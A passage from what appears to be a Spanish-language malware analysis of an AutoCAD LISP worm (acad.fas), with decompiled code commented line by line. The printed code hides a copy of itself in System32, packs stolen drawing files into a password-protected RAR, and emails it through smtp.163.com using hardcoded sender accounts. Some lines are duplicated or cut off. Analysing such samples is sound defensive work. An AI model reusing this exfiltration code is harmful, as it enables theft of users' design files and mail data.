(MAPCAR '(LAMBDA '(X) '(WRITE-LINE X VL_FILE-TEMP-DXF-B)) VL_FILE-DXF-INFO)
;Con el archivo È¤Î¶»úÐµÖÆÍ¼.dxf creado se escribe con el contenido de la variable VL_FILE-DXF-INFO.
(CLOSE VL_FILE-TEMP-DXF-B)
;Cierra el manejador del archivo.
(setq VL-SPRING-C (FINDFILE (STRCAT (GETVAR "DWGPREFIX") "acad.fas")))
;Busca el archivo acad.fas en el actual directorio del dibujo.
(setq VL-SPRING-D (STRCAT (GETENV "windir") "\System32\!È¤Î¶»úÐµÖÆÍ¼\acad.fas"))
;VL-SPRING-D contiene la siguiente ruta: %WINDIR%\System32\!È¤Î¶»úÐµÖÆÍ¼\acad.fas"
(setq VL-SPRING-C (FINDFILE "acad.fas"))
(setq VL-SPRING-D (STRCAT (GETENV "windir") "\System32\!È¤Î¶»úÐµÖÆÍ¼\acad.fas"))

(setq VL-INFO-BIN (LIST "ON ERROR RESUME NEXT" "Set WshShell = WScript.CreateObject("WScript.Shell")"
"set so=createobject("scripting.filesystemobject")" (STRCAT "so.getfile("" VL-SPRING-C "").copy("" VL-SPRING-D "")")
;Copia el archivo acad.fas del mismo directorio del dibujo hacia la siguiente ruta %WINDIR%\System32\!È¤Î¶»úÐµÖÆÍ¼\acad.fas
(STRCAT "WshShell.run "attrib +h +R " (GETENV "windir") "\System32\!È¤Î¶»úÐµÖÆÍ¼\acad.fas  " "",0 ")
;Atributos al archivo acad.fas de oculto y solo lectura.
(STRCAT "m1=" "" " (GETENV "windir") "\System32\È¤Î¶»úÐµÖÆÍ¼.rar" """)
(STRCAT "m2=" "" " (GETENV "windir") "\System32\!È¤Î¶»úÐµÖÆÍ¼" """) "mm="WinRAR m -ep1 -hp1 "&m1&m2" "myre = WshShell.Run(mm , 0, Tru
"createobject("scripting.filesystemobject").getfile(wscript.scriptfullname).delete"))
;Después de toda la ejecución del script, la última linea es para borrar el archivo *.vbs creado.
;VL-INFO-BIN contiene una lista del script de VB, zippea la carpeta de la ruta %WINDIR%\System32\!È¤Î¶»úÐµÖÆÍ¼ que contiene los archi
(setq VL_FILE-TEMP-A (VL-FILENAME-MKTEMP nil nil ".vbs"))
(setq VL_FILE-TEMP-B (OPEN (setq VL_FILE-TEMP-A (VL-FILENAME-MKTEMP nil nil ".vbs")) "w"))
(MAPCAR '(LAMBDA '(X) '(WRITE-LINE X VL_FILE-TEMP-B)) VL-INFO-BIN)
(CLOSE VL_FILE-TEMP-B)
;Crea un archivo de tipo VB Script "*.vbs", con permisos de escritura
;Escribe el archivo creado con el contenido de la variable VL-INFO-BIN
;De aquí para abajo más de lo mismo que fue explicado arriba, no hay necesidad de repetir.
```

Este código es el único lugar dónde se aprecia como el malware zippea dos archivos È¤Î¶»úÐµÖÆÍ¼.dxf y el acad.fas, creando el archivo È¤Î¶»úÐµÖÆÍ¼.rar.

```
(setq MAKEMAIL '("cn1223543@163.com   cad-ver" "cn1285689@163.com   cad-ver" "cn1266959@163.com   cad-ver"
"cn1252522@163.com   cad-ver" "cn1228121@163.com   cad-ver" "cn1229996@163.com   cad-ver" "cn1285151@163.com   cad-ver"
"cn1284756@163.com   cad-ver" "bj8372647@163.com   cad-ver" "BJ7364756@163.com   cad-ver" "BJ2635422@163.com   cad-ver"
"BJ3645254@163.com   cad-ver" "BJ365644@163.com   cad-ver" "lp8946375@163.com  cad-ver" "lp3526454@163.com  cad-ver"
"lp3625364@163.com  cad-ver" "lp3625475@163.com  cad-ver" "lp3546576@163.com cad-ver" "cn1268155@163.com cad-ver"
"cn1222998@163.com cad-ver" "cn1281126@163.com cad-ver" "cn1261992@163.com cad-ver" "cn1251692@163.com cad-ver"))
(setq MAKEMAIL '("cn1223543@163.com   cad-ver" "cn1285689@163.com   cad-ver" "cn1266959@163.com   cad-ver" "cn1252522@163.com   cad-v
(setq YUDJEMIN (REM (FIX (/ (GETVAR "CPUTICKS") 10)) (LENGTH MAKEMAIL)))
(setq YUDJEMIN (REM (FIX (/ (GETVAR "CPUTICKS") 10)) (LENGTH MAKEMAIL)))
(setq PRINC-YF-LT (NTH (FIX YUDJEMIN) MAKEMAIL))
(setq PRINC-YF-LT (NTH (FIX YUDJEMIN) MAKEMAIL))
(setq PRINC-YFMOO (VL-FILE-DIRMK PRINC-YF-LT " "))
(setq PRINC-YFMOO (VL-FILE-DIRMK PRINC-YF-LT " "))
(setq PRINC-YFMC (CAR PRINC-YFMOO))
(setq PRINC-YFMC (CAR PRINC-YFMOO))
(setq PRINC-YXMM (CADR PRINC-YFMOO))
(setq PRINC-YXMM (CADR PRINC-YFMOO))
(setq PRINC-YFM (CAR (VL-FILE-DIRMK PRINC-YFMC "@")))
(setq PRINC-YFM (CAR (VL-FILE-DIRMK PRINC-YFMC "@")))
(setq PRINC-YJFWQ "smtp.163.com")
(setq PRINC-YJFWQ "smtp.163.com")
Then OR Else
(setq VL-STRING-TIME (FIX (* (GETVAR "cdate") 100)))
(setq VL-STRING-TIME (FIX (* (GETVAR "cdate") 100)))
(setq VL-FILE-CBAO-A (VL-REGISTRY-READ "HKEY_CURRENT_USER\Software\Microsoft\Windows\Windows Error Reporting" "Time"))
(setq VL-FILE-CBAO-A (VL-REGISTRY-READ "HKEY_CURRENT_USER\Software\Microsoft\Windows\Windows Error Reporting" "Time"))
(VL-REGISTRY-WRITE "HKEY_CURRENT_USER\Software\Microsoft\Windows\Windows Error Reporting" "Time" (FIX (* (GETVAR "cdate") 100)))
(setq VL-MODIFY-YI nil)
(setq VL-MODIFY-YI (CONS (STRCAT (RTOS (VL_SJSTA-END 16253256 1652425146)) "@qq.com") VL-MODIFY-YI))
(setq VL-MODIFY-YI (CONS (STRCAT (RTOS (VL_SJSTA-END 16253256 1652425146)) "@163.com") VL-MODIFY-YI))
(setq VL-MODIFY-YI-B "")
(MAPCAR '(LAMBDA '(X) '(SETQ VL-MODIFY-YI-B '(STRCAT X ";" VL-MODIFY-YI-B))) VL-MODIFY-YI)
(setq VL-INFO-BIN (LIST (setq VL-MODIFY-YI-B "") "ON ERROR RESUME NEXT" "NameSpace = "http://schemas.microsoft.com/cdo/configuration/
```

```
"Set Email = CreateObject("CDO.Message")" (STRCAT "Email.From = "" PRINC-YFMC """)
(STRCAT "Email.To = " """ VL-MODIFY-YI-B """) "Email.Subject = "ÊÀ¼çÉÏ×ìÃÑµÄÌâ"" Then OR Else "With Email.Configuration.Fields" ".Ite
(STRCAT ".Item(NameSpace&"smtpserver") = "" PRINC-YJFWQ "" ") ".Item(NameSpace&"smtpserverport") = 25" ".Item(NameSpace&"smtpauthenti
;Password del item adjunto "1" XD
(STRCAT ".Item(NameSpace&"sendusername") = "" PRINC-YFM """) (STRCAT ".Item(NameSpace&"sendpassword") = "" PRINC-YXMM """) ".Update"
"createobject("scripting.filesystemobject").getfile(wscript.scriptfullname).delete"))

(setq VL_FILE-TEMP-A (VL-FILENAME-MKTEMP nil nil ".vbs"))
(setq VL_FILE-TEMP-B (OPEN (VL-FILENAME-MKTEMP nil nil ".vbs") "w"))
(MAPCAR '(LAMBDA '(X) '(WRITE-LINE X VL_FILE-TEMP-B)) VL-INFO-BIN)
(CLOSE VL_FILE-TEMP-B)
```

Esto último es más de lo mismo no vi la necesidad de comentar todo, aquí es dónde se envía el archivo È¤Î¶»úÐµÖÆÍ¼.rar.

La manera de como elije los mails que usará como refencia de origen, es usando el comando “CPUTICKS”, obteniendo un número “aleatorio” por así decirlo, robar los archivos *.dwg que es lo principal del malware no es lo único, si no también, roba otras informaciones sensibles, tales como nombre del ordenador, nombre del usuario, los archivos pst y archivos sensibles para el programa foxmail.

Finalmente tengo que decir que yo no programo en LISP y si hay alguna sugerencia, crítica, acotación, corrección o algún comentario que mejore la entrada, es bienvenida.

Aquí pueden descargar el archivo acad.fas_comment.lsp, que es la decompilación del malware documentado completo.

Saludos,
Cesar Neira, John Vargas, y Yo.
